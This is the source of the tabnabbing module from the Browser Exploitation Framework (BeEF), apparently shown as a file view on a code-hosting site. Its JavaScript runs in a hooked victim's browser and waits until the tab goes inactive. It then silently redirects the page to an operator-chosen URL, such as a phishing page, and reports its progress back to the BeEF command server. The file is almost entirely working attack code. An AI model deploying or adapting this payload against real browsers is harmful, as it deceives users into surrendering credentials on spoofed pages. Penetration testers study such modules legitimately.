Files
beef/modules/social_engineering/tabnabbing/command.js
2012-12-30 12:47:43 +10:00

30 lines
800 B
JavaScript

//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var url = "<%= @url %>";
var wait = <%= @wait %>*1000*60;
var tabnab_timer;
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=waiting for tab to become inactive');
// begin countdown when the tab loses focus
window.onblur = function() {
begin_countdown();
}
// stop countdown if the tab regains focus
window.onfocus = function() {
clearTimeout(tabnab_timer);
}
begin_countdown = function() {
tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);
}
});